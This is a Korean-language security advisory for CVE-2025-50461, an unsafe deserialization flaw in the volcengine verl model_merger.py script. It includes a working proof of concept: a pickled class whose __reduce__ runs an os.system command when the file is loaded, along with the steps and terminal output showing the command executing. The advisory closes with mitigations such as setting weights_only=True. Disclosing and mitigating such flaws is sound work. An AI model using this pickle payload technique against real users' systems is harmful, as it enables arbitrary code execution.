CVE-2025-50461: Verl의 안전하지 않은 모델 역직렬화를 통한 원격 코드 실행

상태: 예약됨
이 CVE ID는 할당되었으나 아직 공식 CVE 목록에 게시되지 않았습니다.

Volcengine의 verl 3.0.0에서 "fsdp" 백엔드를 사용할 때, scripts/model_merger.py 스크립트에 역직렬화 취약점이 존재합니다. 해당 스크립트는 사용자가 제공한 .pt 파일에 대해 weights_only=False로 torch.load()를 호출하므로, 악의적으로 조작된 모델 파일이 로드될 경우 공격자가 임의 코드를 실행할 수 있습니다. 공격자는 피해자가 악성 모델 파일을 다운로드하여 특정 파일명 패턴으로 로컬 디렉토리에 배치하도록 유도하여 이 취약점을 악용할 수 있습니다. 이 취약점은 스크립트를 실행하는 사용자의 권한으로 임의 코드 실행으로 이어질 수 있습니다.

설명

영향을 받는 저장소

프로젝트: volcengine/verl
영향을 받는 버전: <= v0.4.0
파일: scripts/model_merger.py
GitHub 퍼머링크: https://github.com/volcengine/verl/blob/v0.3.0.post1/scripts/model_merger.py#L87
종속성: PyTorch < 2.6.0

개념 증명 (PoC)

1단계: 악성 모델 파일 생성 (`malicious.pt`)

import pickle
import os

class Malicious:
    def __reduce__(self):
        return (os.system, ("mkdir HACKED!",))

with open("malicious.pt", "wb") as f:
    pickle.dump(Malicious(), f)

2단계: 이름 변경 및 배치

mv malicious.pt model_world_size_4_rank_0.pt
mkdir TESTS
mv model_world_size_4_rank_0.pt TESTS/

3단계: 취약한 스크립트 실행

python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"

결과

root@99137c7690ee:/workspace/verl-main# python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
Traceback (most recent call last):
  File "/workspace/verl-main/scripts/model_merger.py", line 440, in <module>
    convert_fsdp_checkpoints_to_hfmodels()
  File "/workspace/verl-main/scripts/model_merger.py", line 88, in convert_fsdp_checkpoints_to_hfmodels
    state_dict = torch.load(os.path.join(local_dir, f'model_world_size_{world_size}_rank_{rank}.pt'),
  File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1384, in load
    return _legacy_load(
  File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1630, in _legacy_load
    raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
root@99137c7690ee:/workspace/verl-main# ls
'HACKED!'   Notice.txt   TESTS   docker   examples   outputs   pyproject.toml       requirements.txt          scripts    test_prime.sh   tmp    verl.egg-info
 LICENSE    README.md    data    docs     patches    recipe    requirements_sglang.txt   setup.py   tests           verl   verl_demo.log

mkdir HACKED! 명령이 피해자의 시스템에서 실행됩니다.

완화 조치

업그레이드: PyTorch 2.6.0 이상 버전으로 업그레이드하면 기본적으로 weights_only=True로 설정되어 역직렬화 위험이 줄어듭니다.
코드 수정: torch.load 호출 시 명시적으로 weights_only=True로 설정합니다.
검증 구현: 로드 전에 모델 파일의 무결성을 확인합니다.
사용자 교육: 신뢰할 수 없는 출처에서 모델을 로드하지 않도록 합니다.

안전한 로드 예시:

state_dict = torch.load(path, map_location="cpu", weights_only=True)

CVE 상태

저자

발견자: Yu Rong (戎誉) and Hao Fan (凡浩)
연락처: [[email protected]]

CVE ID	CVE-2025-50461
CVSS 점수	TBD
CWE	CWE-502: 신뢰할 수 없는 데이터의 역직렬화
보고 날짜	2025-04-30
공개 날짜	2025-08-15
영향을 받는 버전	<= v0.4.0
수정 버전

CVE-2025-50461

인기

CVE-2025-50461: Verl의 안전하지 않은 모델 역직렬화를 통한 원격 코드 실행

설명

영향을 받는 저장소

개념 증명 (PoC)

1단계: 악성 모델 파일 생성 (malicious.pt)

2단계: 이름 변경 및 배치

3단계: 취약한 스크립트 실행

결과

완화 조치

안전한 로드 예시:

CVE 상태

저자

1단계: 악성 모델 파일 생성 (`malicious.pt`)